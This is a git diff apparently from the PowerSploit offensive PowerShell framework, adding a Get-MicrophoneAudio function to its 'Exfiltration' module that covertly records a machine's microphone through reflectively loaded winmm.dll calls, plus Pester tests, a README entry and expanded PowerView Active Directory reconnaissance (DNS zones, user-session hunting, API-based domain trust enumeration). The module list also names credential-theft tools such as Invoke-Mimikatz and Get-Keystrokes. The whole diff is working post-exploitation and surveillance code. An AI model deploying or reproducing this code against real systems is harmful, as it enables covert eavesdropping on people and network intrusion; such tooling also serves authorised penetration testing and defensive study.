diff options
-rw-r--r-- | Exfiltration/Exfiltration.psd1 | 3 | ||||
-rwxr-xr-x | Exfiltration/Get-MicrophoneAudio.ps1 | 187 | ||||
-rw-r--r-- | README.md | 4 | ||||
-rwxr-xr-x | Recon/PowerView.ps1 | 288 | ||||
-rw-r--r-- | Tests/Exfiltration.tests.ps1 | 31 |
5 files changed, 479 insertions, 34 deletions
diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index da78493..7df0835 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -31,6 +31,7 @@ FunctionsToExport = '*' FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1',
- 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml'
+ 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml',
+ 'Get-MicrophoneAudio.ps1'
}
diff --git a/Exfiltration/Get-MicrophoneAudio.ps1 b/Exfiltration/Get-MicrophoneAudio.ps1 new file mode 100755 index 0000000..41a16ba --- /dev/null +++ b/Exfiltration/Get-MicrophoneAudio.ps1 @@ -0,0 +1,187 @@ +function Get-MicrophoneAudio {
+<#
+.SYNOPSIS
+Records audio from the microphone and saves to a file on disk
+Author: Justin Warner (@sixdub)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+All credit for PowerSploit functions belongs to the original author and project contributors. Thanks for the awesomeness! See here for more info:
+http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
+https://github.com/PowerShellMafia/PowerSploit
+
+Thanks to Ed Wilson (Scripting Guy) for the one liner to generate random chars. https://blogs.technet.microsoft.com/heyscriptingguy/2015/11/05/generate-random-letters-with-powershell/
+
+.DESCRIPTION
+Get-MicrophoneAudio utilizes the Windows API from winmm.dll to record audio from the microphone and saves the wave file to disk.
+
+.OUTPUTS
+Outputs the FileInfo object pointing to the recording which has been saved to disk.
+
+.PARAMETER Path
+The location to save the audio
+
+.PARAMETER Length
+The length of the audio to record in seconds. Default: 30
+
+.PARAMETER Alias
+The alias to use for the WinMM recording. Default: Random 10 Chars
+
+.EXAMPLE
+Get-MicrophoneAudio -Path c:\windows\temp\secret.wav -Length 10 -Alias "SECRET"
+Description
+-----------
+Records 10 seconds of audio to the path C:\windows\temp\secret.wav using WinMM alias "secret"
+#>
+ [OutputType([System.IO.FileInfo])]
+ Param
+ (
+ [Parameter( Position = 0, Mandatory = $True)]
+ [ValidateScript({Split-Path $_ | Test-Path})]
+ [String] $Path,
+ [Parameter( Position = 1, Mandatory = $False)]
+ [Int] $Length = 30,
+ [Parameter( Position = 2, Mandatory = $False)]
+ [String] $Alias = $(-join ((65..90) + (97..122) | Get-Random -Count 10 | % {[char]$_}))
+
+ )
+
+ #Get-DelegateType from PowerSploit
+ function Local:Get-DelegateType
+ {
+ Param
+ (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
+ )
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+ Write-Output $TypeBuilder.CreateType()
+ }
+
+ #Get-ProcAddress from PowerSploit
+ function local:Get-ProcAddress
+ {
+ Param
+ (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
+ )
+
+ # Get a reference to System.dll in the GAC
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+ # Get a handle to the module specified
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
+ $tmpPtr = New-Object IntPtr
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
+ # Return the address of the function
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ }
+
+ #Initialize and call LoadLibrary on our required DLL
+ $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
+ $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
+ $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
+ $HND = $null
+ $HND = $LoadLibrary.Invoke('winmm.dll')
+ if ($HND -eq $null)
+ {
+ Throw 'Failed to aquire handle to winmm.dll'
+ }
+
+ #Initialize the function call to count devices
+ $waveInGetNumDevsAddr = $null
+ $waveInGetNumDevsAddr = Get-ProcAddress winmm.dll waveInGetNumDevs
+ $waveInGetNumDevsDelegate = Get-DelegateType @() ([Uint32])
+ if ($waveInGetNumDevsAddr -eq $null)
+ {
+ Throw 'Failed to aquire address to WaveInGetNumDevs'
+ }
+ $waveInGetNumDevs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waveInGetNumDevsAddr, $waveInGetNumDevsDelegate)
+
+ #Initilize the function call to record audio
+ $mciSendStringAddr = $null
+ $mciSendStringAddr = Get-ProcAddress winmm.dll mciSendStringA
+ $mciSendStringDelegate = Get-DelegateType @([String],[String],[UInt32],[IntPtr]) ([Uint32])
+ if ($mciSendStringAddr -eq $null)
+ {
+ Throw 'Failed to aquire address to mciSendStringA'
+ }
+ $mciSendString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciSendStringAddr, $mciSendStringDelegate)
+
+ #Initialize the ability to resolve MCI Errors
+ $mciGetErrorStringAddr = $null
+ $mciGetErrorStringAddr = Get-ProcAddress winmm.dll mciGetErrorStringA
+ $mciGetErrorStringDelegate = Get-DelegateType @([UInt32],[Text.StringBuilder],[UInt32]) ([bool])
+ if ($mciGetErrorStringAddr -eq $null)
+ {
+ Throw 'Failed to aquire address to mciGetErrorString'
+ }
+ $mciGetErrorString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciGetErrorStringAddr,$mciGetErrorStringDelegate)
+
+ #Get device count
+ $DeviceCount = $waveInGetNumDevs.Invoke()
+
+ if ($DeviceCount -gt 0)
+ {
+
+ #Define buffer for MCI errors. https://msdn.microsoft.com/en-us/library/windows/desktop/dd757153(v=vs.85).aspx
+ $errmsg = New-Object Text.StringBuilder 150
+
+ #Open an alias
+ $rtnVal = $mciSendString.Invoke("open new Type waveaudio Alias $alias",'',0,0)
+ if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
+
+ #Call recording function
+ $rtnVal = $mciSendString.Invoke("record $alias", '', 0, 0)
+ if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
+
+ Start-Sleep -s $Length
+
+ #save recorded audio to disk
+ $rtnVal = $mciSendString.Invoke("save $alias `"$path`"", '', 0, 0)
+ if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
+
+ #terminate alias
+ $rtnVal = $mciSendString.Invoke("close $alias", '', 0, 0);
+ if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
+
+ $OutFile = Get-ChildItem -path $path
+ Write-Output $OutFile
+
+ }
+ else
+ {
+ Throw 'Failed to enumerate any recording devices'
+ }
+}
@@ -128,6 +128,10 @@ Displays Windows vault credential objects including cleartext web credentials. Generates a full-memory minidump of a process. +#### 'Get-MicrophoneAudio' + +Records audio from system microphone and saves to disk + ## Mayhem **Cause general mayhem with PowerShell.** diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index cc588c3..c10cbed 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1937,7 +1937,6 @@ filter Get-DNSZone { $FullData ) - # $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential $DNSSearcher.filter="(objectClass=dnsZone)" @@ -1958,6 +1957,27 @@ filter Get-DNSZone { $Results.dispose() $DNSSearcher.dispose() } + + $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" + $DNSSearcher.filter="(objectClass=dnsZone)" + + if($DNSSearcher) { + $Results = $DNSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + $Properties = Convert-LDAPProperty -Properties $_.Properties + $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name + + if ($FullData) { + $Properties + } + else { + $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged + } + } + $Results.dispose() + $DNSSearcher.dispose() + } } @@ -2512,7 +2532,9 @@ function Get-NetUser { $Results = $UserSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $User = Convert-LDAPProperty -Properties $_.Properties + $User.PSObject.TypeNames.Add('PowerView.User') + $User } $Results.dispose() $UserSearcher.dispose() @@ -3937,7 +3959,9 @@ function Get-NetComputer { # return full data objects if ($FullData) { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $Computer = Convert-LDAPProperty -Properties $_.Properties + $Computer.PSObject.TypeNames.Add('PowerView.Computer') + $Computer } else { # otherwise we're just returning the DNS host name @@ -4648,7 +4672,9 @@ function Get-NetOU { $Results | Where-Object {$_} | ForEach-Object { if ($FullData) { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $OU = Convert-LDAPProperty -Properties $_.Properties + $OU.PSObject.TypeNames.Add('PowerView.OU') + $OU } else { # otherwise just returning the ADS paths of the OUs @@ -4764,7 +4790,9 @@ function Get-NetSite { $Results | Where-Object {$_} | ForEach-Object { if ($FullData) { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $Site = Convert-LDAPProperty -Properties $_.Properties + $Site.PSObject.TypeNames.Add('PowerView.Site') + $Site } else { # otherwise just return the site name @@ -4890,7 +4918,7 @@ function Get-NetSubnet { $SubnetProperties['Site'] = 'Error' } - New-Object -TypeName PSObject -Property $SubnetProperties + New-Object -TypeName PSObject -Property $SubnetProperties } } } @@ -5086,7 +5114,9 @@ function Get-NetGroup { # ignore the built in users and default domain user group if(!($GroupSid -match '^S-1-5-32-545|-513$')) { if($FullData) { - Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential + $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential + $Group.PSObject.TypeNames.Add('PowerView.Group') + $Group } else { if($RawSids) { @@ -5112,7 +5142,9 @@ function Get-NetGroup { # if we're returning full data objects if ($FullData) { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $Group = Convert-LDAPProperty -Properties $_.Properties + $Group.PSObject.TypeNames.Add('PowerView.Group') + $Group } else { # otherwise we're just returning the group name @@ -5414,6 +5446,7 @@ function Get-NetGroupMember { $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN + $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember') $GroupMember # if we're doing manual recursion @@ -6078,7 +6111,7 @@ function Get-GroupsXML { # so we can cd/dir the new drive $GroupsXMLPath = $RandDrive + ":\" + $FilePath - } + } } process { @@ -6093,21 +6126,21 @@ function Get-GroupsXML { $MemberOf = @() # extract the localgroup sid for memberof - $LocalSid = $_.Properties.GroupSid + $LocalSid = $_.Group.Properties.GroupSid if(!$LocalSid) { - if($_.Properties.groupName -match 'Administrators') { + if($_.Group.Properties.groupName -match 'Administrators') { $LocalSid = 'S-1-5-32-544' } - elseif($_.Properties.groupName -match 'Remote Desktop') { + elseif($_.Group.Properties.groupName -match 'Remote Desktop') { $LocalSid = 'S-1-5-32-555' } else { - $LocalSid = $_.Properties.groupName + $LocalSid = $_.Group.Properties.groupName } } $MemberOf = @($LocalSid) - $_.Properties.members | ForEach-Object { + $_.Group.Properties.members | ForEach-Object { # process each member of the above local group $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { @@ -6130,16 +6163,38 @@ function Get-GroupsXML { } if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} - $Members = $Members | ForEach-Object {Convert-SidToName $_} + $Memberof = $Memberof | ForEach-Object { + $memof = $_ + if ($memof.StartsWith("S-1-")) + { + try { + Convert-SidToName $memof + } catch { + $memof + } + } else { + $memof + } + } + $Members= $Members | ForEach-Object { + $member = $_ + if ($member.StartsWith("S-1-")) + { + try { + Convert-SidToName $member + } catch { + $member + } + } else { + $member + } + } } if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} if($Members -isnot [system.array]) {$Members = @($Members)} $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName 'GPOPath' = $GroupsXMLPath 'Filters' = $Filters 'MemberOf' = $Memberof @@ -7452,7 +7507,7 @@ function Get-NetLocalGroup { [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] [Alias('HostName')] [String[]] - $ComputerName = "$($env:COMPUTERNAMECOMPUTERNAME)", + $ComputerName = "$($env:COMPUTERNAME)", [Parameter(ParameterSetName = 'WinNT')] [Parameter(ParameterSetName = 'API')] @@ -7529,6 +7584,9 @@ function Get-NetLocalGroup { $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $SidString = "" $Result = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString) Write-Debug "Result of ConvertSidToStringSid: $Result" @@ -7536,7 +7594,7 @@ function Get-NetLocalGroup { if($Result -eq 0) { # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx $Err = $Kernel32::GetLastError() - Write-Error "ConvertSidToStringSid LastError: $Err" + Write-Error "ConvertSidToStringSid LastError: $Err" } else { $LocalUser = New-Object PSObject @@ -7546,9 +7604,8 @@ function Get-NetLocalGroup { $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup - - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment + # add in our custom object + $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUser') $LocalUsers += $LocalUser } @@ -7601,6 +7658,7 @@ function Get-NetLocalGroup { $Group | Add-Member Noteproperty 'Group' ($_.name[0]) $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) + $Group.PSObject.TypeNames.Add('PowerView.LocalGroup') $Group } } @@ -7690,6 +7748,7 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) } + $Member.PSObject.TypeNames.Add('PowerView.LocalUser') $Member # if the result is a group domain object and we're recursing, @@ -7740,6 +7799,7 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet $Member | Add-Member Noteproperty 'PwdExpired' '' $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl + $Member.PSObject.TypeNames.Add('PowerView.LocalUser') $Member } } @@ -9771,6 +9831,26 @@ function Invoke-UserHunter { $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + # Try to resolve the DNS hostname of $Cname + if ($Cname -match '[a-zA-Z]') { + Try { + $CNameDNSName = [System.Net.Dns]::GetHostByName($CName).Hostname + } + Catch { + $CNameDNSName = $Cname + } + $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + else { + Try { + $CNameDNSName = [System.Net.Dns]::Resolve($Cname).HostName + } + Catch { + $CNameDNSName = $Cname + } + $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName @@ -9779,6 +9859,7 @@ function Invoke-UserHunter { else { $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null } + $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') $FoundUser } } @@ -9815,6 +9896,7 @@ function Invoke-UserHunter { $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null + $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { @@ -9824,6 +9906,7 @@ function Invoke-UserHunter { else { $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null } + $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') $FoundUser } } @@ -12394,6 +12477,10 @@ function Get-NetDomainTrust { Domain controller to reflect LDAP queries through. + .PARAMETER API + + Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts. + .PARAMETER LDAP Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. @@ -12407,20 +12494,33 @@ function Get-NetDomainTrust { PS C:\> Get-NetDomainTrust - Return domain trusts for the current domain. + Return domain trusts for the current domain using built in .NET methods. .EXAMPLE PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" - Return domain trusts for the "prod.testlab.local" domain. + Return domain trusts for the "prod.testlab.local" domain using .NET methods .EXAMPLE - PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" + PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" - Return domain trusts for the "prod.testlab.local" domain, reflecting - queries through the "Primary.testlab.local" domain controller + Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP + queries, reflecting queries through the "Primary.testlab.local" domain controller, + using .NET methods. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local + + Return domain trusts reachable from the WINDOWS2 machine through API calls. #> [CmdletBinding()] @@ -12433,6 +12533,9 @@ function Get-NetDomainTrust { $DomainController, [Switch] + $API, + + [Switch] $LDAP, [ValidateRange(1,10000)] @@ -12445,13 +12548,14 @@ function Get-NetDomainTrust { process { - if(!$Domain) { + if((-not $Domain) -or ((-not $API) -and (-not $DomainController))) { $Domain = (Get-NetDomain -Credential $Credential).Name } - if($LDAP -or $DomainController) { + if($LDAP) { $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + $SourceSID = Get-DomainSID -Domain $Domain -DomainController $DomainController if($TrustSearcher) { @@ -12484,8 +12588,11 @@ function Get-NetDomainTrust { 3 { "Bidirectional" } } $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value $DomainTrust | Add-Member Noteproperty 'SourceName' $Domain + $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustAttrib" $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" @@ -12495,11 +12602,88 @@ function Get-NetDomainTrust { $TrustSearcher.dispose() } } + elseif($API) { + if(-not $DomainController) { + $DomainController = Get-NetDomainController -Credential $Credential -Domain $Domain | Select-Object -First 1 | Select-Object -ExpandProperty Name + } + + if($DomainController) { + # arguments for DsEnumerateDomainTrusts + $PtrInfo = [IntPtr]::Zero + + # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND + $Flags = 63 + $DomainCount = 0 + + # get the trust information from the target server + $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + Write-Debug "DsEnumerateDomainTrusts result for $DomainController : $Result" + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $DS_DOMAIN_TRUSTS::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $DomainCount); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = "" + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString) + + if($Result -eq 0) { + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Error "ConvertSidToStringSid LastError: $Err" + } + else { + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceDomain' $Domain + $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController + $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName + $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName + $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags + $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex + $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes + $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString + $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid + $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust') + $DomainTrust + } + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (50) { Write-Debug 'The request is not supported.' } + (1004) { Write-Debug 'Invalid flags.' } + (1311) { Write-Debug 'There are currently no logon servers available to service the logon request.' } + (1786) { Write-Debug 'The workstation does not have a trust secret.' } + (1787) { Write-Debug 'The security database on the server does not have a computer account for this workstation trust relationship.' } + } + } + } + else { + Write-Error "Could not retrieve domain controller for $Domain" + } + } else { - # if we're using direct domain connections + # if we're using direct domain connections through .NET $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential - if($FoundDomain) { $FoundDomain.GetAllTrustRelationships() } @@ -12941,7 +13125,6 @@ function Invoke-MapDomainTrust { [Management.Automation.PSCredential] $Credential - ) # keep track of domains seen so we don't hit infinite recursion @@ -12997,7 +13180,9 @@ function Invoke-MapDomainTrust { # build the nicely-parsable custom output object $DomainTrust = New-Object PSObject $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" + $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" + $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" $DomainTrust @@ -13030,6 +13215,7 @@ $FunctionDefinitions = @( (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), + (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), @@ -13118,6 +13304,42 @@ $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') } +# enums used in DS_DOMAIN_TRUSTS +$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ + IN_FOREST = 1 + DIRECT_OUTBOUND = 2 + TREE_ROOT = 4 + PRIMARY = 8 + NATIVE_MODE = 16 + DIRECT_INBOUND = 32 +} -Bitfield +$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ + DOWNLEVEL = 1 + UPLEVEL = 2 + MIT = 3 + DCE = 4 +} +$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ + NON_TRANSITIVE = 1 + UPLEVEL_ONLY = 2 + FILTER_SIDS = 4 + FOREST_TRANSITIVE = 8 + CROSS_ORGANIZATION = 16 + WITHIN_FOREST = 32 + TREAT_AS_EXTERNAL = 64 +} + +# the DsEnumerateDomainTrusts result structure +$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ + NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') + DnsDomainName = field 1 String -MarshalAs @('LPWStr') + Flags = field 2 $DsDomainFlag + ParentIndex = field 3 UInt32 + TrustType = field 4 $DsDomainTrustType + TrustAttributes = field 5 $DsDomainTrustAttributes + DomainSid = field 6 IntPtr + DomainGuid = field 7 Guid +} $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 index e4f60d5..ed98f45 100644 --- a/Tests/Exfiltration.tests.ps1 +++ b/Tests/Exfiltration.tests.ps1 @@ -52,3 +52,34 @@ Describe 'Get-Keystrokes' { Remove-Item -Force "$($env:TEMP)\key.log" } + +Describe "Get-MicrophoneAudio" { + + $RecordPath = "$env:TEMP\test_record.wav" + $RecordLen = 2 + Context 'Successful Recording' { + BeforeEach { + #Ensure the recording as been removed prior to testing + Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue + } + + AfterEach { + #Remove the recording after testing + Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue + } + + It 'should record audio from the microphone and save it to a specified path' { + $result = Get-MicrophoneAudio -Path $RecordPath -Length $RecordLen + $result | Should Not BeNullOrEmpty + $result.Length | Should BeGreaterThan 0 + } + + } + + Context 'Invalid Arguments' { + It 'should not allow invalid paths to be used' { + { Get-MicrophoneAudio -Path "c:\FAKEPATH\yay.wav" -Length RecordLen} | Should Throw + } + } + +} |